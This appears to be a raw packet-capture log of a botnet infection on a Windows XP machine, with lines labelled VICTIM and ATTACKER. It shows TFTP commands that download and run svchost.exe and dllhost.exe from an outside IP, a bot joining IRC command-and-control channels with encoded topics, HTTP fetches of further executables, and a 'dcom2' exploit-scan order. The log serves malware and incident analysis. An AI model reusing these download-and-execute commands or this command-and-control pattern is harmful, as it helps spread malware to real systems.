VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> VICTIM: dir wins\\dllhost.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\winsFile Not FoundC:\\WINDOWS\\system32> VICTIM: dir dllcache\\tftpd.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\dllcacheFile Not FoundC:\\WINDOWS\\system32> VICTIM: tftp -i 124.241.148.64 get svchost.exe wins\\SVCHOST.EXE VICTIM: \000\001svchost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: \000\004\000* VICTIM: \000\004\000+ VICTIM: \000\004\000, VICTIM: \000\004\000- VICTIM: \000\004\000. VICTIM: \000\004\000/ VICTIM: \000\004\0000 VICTIM: \000\004\0001 VICTIM: \000\004\0002 VICTIM: \000\004\0003 VICTIM: \000\004\0004 VICTIM: \000\004\0005 VICTIM: \000\004\0006 VICTIM: \000\004\0007 VICTIM: \000\004\0008 VICTIM: \000\004\0009 VICTIM: \000\004\000: VICTIM: \000\004\000; VICTIM: \000\004\000< VICTIM: \000\004\000= VICTIM: \000\004\000> VICTIM: \000\004\000? VICTIM: \000\004\000@ VICTIM: \000\004\000A VICTIM: \000\004\000B VICTIM: \000\004\000C VICTIM: \000\004\000D VICTIM: \000\004\000E VICTIM: \000\004\000F VICTIM: \000\004\000G VICTIM: \000\004\000H VICTIM: \000\004\000I VICTIM: \000\004\000J VICTIM: \000\004\000K VICTIM: \000\004\000L VICTIM: \000\004\000M VICTIM: \000\004\000N VICTIM: \000\004\000O VICTIM: \000\004\000P VICTIM: \000\004\000Q VICTIM: \000\004\000R VICTIM: \000\004\000S VICTIM: \000\004\000T VICTIM: \000\004\000U VICTIM: \000\004\000V VICTIM: \000\004\000W VICTIM: \000\004\000X VICTIM: \000\004\000Y VICTIM: \000\004\000Z VICTIM: \000\004\000[ VICTIM: \000\004\000\\ VICTIM: \000\004\000] VICTIM: \000\004\000^ VICTIM: \000\004\000_ VICTIM: \000\004\000` VICTIM: \000\004\000a VICTIM: \000\004\000b VICTIM: \000\004\000c VICTIM: \000\004\000d VICTIM: \000\004\000e VICTIM: \000\004\000f VICTIM: \000\004\000g VICTIM: \000\004\000h VICTIM: \000\004\000i VICTIM: Transfer successful: 53248 bytes in 17 seconds, 3132 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: \000\001dllhost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: tftp -i 124.241.148.64 get dllhost.exe wins\\DLLHOST.EXE VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: \000\004\000* VICTIM: \000\004\000+ VICTIM: \000\004\000, VICTIM: \000\004\000- VICTIM: \000\004\000. VICTIM: \000\004\000/ VICTIM: \000\004\0000 VICTIM: \000\004\0001 VICTIM: \000\004\0002 VICTIM: \000\004\0003 VICTIM: \000\004\0004 VICTIM: \000\004\0005 VICTIM: \000\004\0006 VICTIM: \000\004\0007 VICTIM: \000\004\0008 VICTIM: \000\004\0009 VICTIM: \000\004\000: VICTIM: \000\004\000; VICTIM: \000\004\000< VICTIM: \000\004\000= VICTIM: \000\004\000> VICTIM: \000\004\000? VICTIM: \000\004\000@ VICTIM: \000\004\000A VICTIM: \000\004\000B VICTIM: \000\004\000C VICTIM: \000\004\000D VICTIM: \000\004\000E VICTIM: \000\004\000F VICTIM: \000\004\000G VICTIM: \000\004\000H VICTIM: \000\004\000I VICTIM: \000\004\000J VICTIM: \000\004\000K VICTIM: \000\004\000L VICTIM: \000\004\000M VICTIM: \000\004\000N VICTIM: \000\004\000O VICTIM: \000\004\000P VICTIM: \000\004\000Q VICTIM: \000\004\000R VICTIM: \000\004\000S VICTIM: \000\004\000T VICTIM: \000\004\000U VICTIM: \000\004\000V VICTIM: \000\004\000W VICTIM: \000\004\000X VICTIM: \000\004\000Y VICTIM: \000\004\000Z VICTIM: \000\004\000[ VICTIM: \000\004\000\\ VICTIM: \000\004\000] VICTIM: \000\004\000^ VICTIM: \000\004\000_ VICTIM: \000\004\000` VICTIM: \000\004\000a VICTIM: \000\004\000b VICTIM: \000\004\000c VICTIM: \000\004\000d VICTIM: \000\004\000e VICTIM: \000\004\000f VICTIM: \000\004\000g VICTIM: \000\004\000h VICTIM: \000\004\000i VICTIM: Transfer successful: 53248 bytes in 20 seconds, 2662 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: wins\\DLLHOST.EXE VICTIM: C:\\WINDOWS\\system32> VICTIM: USER rschoj rschoj rschoj :cujanslaabbrxnob VICTIM: NICK vMKzkZEg ATTACKER: :hub.54535.com 001 vMKzkZEg :eduzz, vMKzkZEg!rschoj@192.168.1.117:hub.54535.com 005 vMKzkZEg MAP KNOCK SAFELIST HCN MAXCHANNELS=80 MAXBANS=60 NICKLEN=30 TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are supported by this server:hub.54535.com 005 vMKzkZEg WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSMT NETWORK=eduzz CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server:vMKzkZEg MODE vMKzkZEg :+iRp VICTIM: MODE vMKzkZEg +xi VICTIM: JOIN #las6 USERHOST vMKzkZEg ATTACKER: :vMKzkZEg!rschoj@192.168.1.117 JOIN :#las6:hub.54535.com 332 vMKzkZEg #las6 :=mDWIocXFFHOeJkQb5QJl9J9RlrAsCXeYayH4Huco1mG9HQKwfcjfPIM8QyYzX6g0XzinKTwC95tpmzYcyde+U0Qfa/nt2xF4lufh0U8OvCMfkjkwmxtnE49:hub.54535.com 333 vMKzkZEg #las6 d8364 1211731398:hub.54535.com 353 vMKzkZEg @ #las6 :vMKzkZEg :hub.54535.com 366 vMKzkZEg #las6 :End of /NAMES list.:hub.54535.com 302 vMKzkZEg :vMKzkZEg=+rschoj@192.168.1.117 VICTIM: MODE #las6 +smntu ATTACKER: :hub.54535.com 482 vMKzkZEg #las6 :You're not channel operator VICTIM: JOIN #rs2 p\002\002JOIN #fox p\002\002 ATTACKER: :vMKzkZEg!rschoj@192.168.1.117 JOIN :#rs2:hub.54535.com 332 vMKzkZEg #rs2 :=6KStmMeZfXIiX3GCTNvz05XZj0n6JoQfJhgcZpZccAmkJsCI0NaXyK0cnZA4D1CxKQBK:hub.54535.com 333 vMKzkZEg #rs2 r4h7 1217817400:hub.54535.com 353 vMKzkZEg @ #rs2 :vMKzkZEg :hub.54535.com 366 vMKzkZEg #rs2 :End of /NAMES list.:vMKzkZEg!rschoj@192.168.1.117 JOIN :#fox:hub.54535.com 332 vMKzkZEg #fox :=qKbnl/8HL16GbxEWtBuT8ZU5PZcSArxxgsgMBkqEUAnExmAoV8CBWIfs/VCob3DfCeA+VSxe8UflOdY6zfOSdkfta1Nt11WezhsSF2jL2BxBfyRLu0ICxmQpWn9Ibzi3jphjKvsHIFrfVCb9k29f6FB/oYg4XfEFmelb645WdIsQLDysFsTgncJuENadXnWekWitjgQZoEul/Bp:hub.54535.com 333 vMKzkZEg #fox x2s6 1217119964:hub.54535.com 353 vMKzkZEg @ #fox :vMKzkZEg :hub.54535.com 366 vMKzkZEg #fox :End of /NAMES list. VICTIM: MODE #rs2 +smntu ATTACKER: :hub.54535.com 482 vMKzkZEg #rs2 :You're not channel operator VICTIM: MODE #fox +smntu VICTIM: GET /rm.exe HTTP/1.0Host: alwayssam.com ATTACKER: GET /is.exe HTTP/1.0Host: alwayssam.com ATTACKER: GET /x3.exe HTTP/1.0Host: alwayssam.com ATTACKER: :hub.54535.com 482 vMKzkZEg #fox :You're not channel operator ATTACKER: :eheh!Y@hoo.net PRIVMSG #las6 :* ipscan s.s.s.s dcom2 -s ATTACKER: PING :hub.54535.com ATTACKER: PONG :hub.54535.com ATTACKER: PING :hub.54535.com ATTACKER: PONG :hub.54535.com